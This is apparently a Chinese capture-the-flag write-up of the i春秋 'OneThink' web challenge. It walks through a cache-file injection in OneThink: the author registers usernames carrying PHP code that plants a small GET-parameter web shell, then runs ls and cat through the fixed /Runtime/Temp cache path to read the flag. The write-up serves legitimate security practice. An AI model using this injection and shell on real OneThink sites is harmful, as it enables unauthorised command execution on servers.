0%

OneThink-CTF

来源信息

  • i春秋
  • 题目名称:OneThink
  • 类型:Web
  • 难度:★★☆☆☆
  • 题目地址:链接
  • 题目内容:利用已知的漏洞拿shell吧

解题过程

打开链接可以看到博客首页信息,其他的啥也没有。F12看了一下压源代码,也没有任何的注释,只能再试试。看到是OneThink框架,猜测可能需要利用版本漏洞,但是找了一圈没有找到框架的版本号,只能搜索了。

截屏2021-04-27 下午10.26.21.png

于是直接google OneThink漏洞,找到了这一篇文章。

漏洞原因:注册用户的时候会在/Runtime/Temp路径下生成文件名固定的缓存文件,里面的用户名由用户进行注册,没有进行过滤,导致了命令执行。

https://bbs.ichunqiu.com/thread-4918-1-1.html

原漏洞复现

先创建一个账号试试。
这里直接试了试 username == phpinfo()

截屏2021-04-27 下午10.58.20.png

使用burpsuite抓包,然后将用户名修改成phpinfo(),同时需要将其编码,然后在后面加入 //,参考上面的链接。

截屏2021-04-27 下午10.58.13.png

注册成功会返回到登陆页面

截屏2021-04-27 下午11.01.41.png

然后完成登陆,**只有成功登陆才会将phpinfo()写入到缓存文件中**

截屏2021-04-27 下午11.23.42.png

OneThink的漏洞是将缓存写入到一个固定的文件中。所以直接访问http://f120ee497a764414a70c37188425a46252579bdd15f34a9d.changame.ichunqiu.com /Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php 即可查看phpinfo页面了。

截屏2021-04-27 下午11.24.09.png

这里有几点需要注意:

  • 注册的时候需要添加 // 进行注释。
  • 注册完成要登陆之后才会写入到缓存文件中,如果不登陆就不会有缓存。
  • 在bp改包的时候需要对URL进行编码处理。

构造命令拿flag

既然是命令执行,缓存文件是php,所以只需要

1
2
3
4
<?php
$a=$_GET[a];
system($a);
>

但是账号长度是有限制的,所以我们需要分别注册两个账号,将两段命令写入缓存文件,这里注册两个账号分别是:

  • \r\n$a=$_GET[a];//
  • \r\nsystem($a);//

注册的时候也需要使用bp进行改包注册,注册完要进行登陆。

这里重新创建了一个赛题。

成功创建并完成登陆。

截屏2021-04-27 下午11.42.11.png

截屏2021-04-28 上午12.24.04.png

完成命令的写入后只需要执行命令行找到flag文件即可。

/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=ls

成功查看到目录下的文件,所有说明命令写入成功。

截屏2021-04-28 上午12.24.23.png

然后使用cat命令查看flag.php,发现页面上无内容。

/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=cat ../../flag.php

截屏2021-04-28 上午12.26.32.png

但是打开F12,直接查看源代码找到flag。

flag{0a250cde-5ad1-49d4-9871-a48889d1de45}

截屏2021-04-28 上午12.26.37.png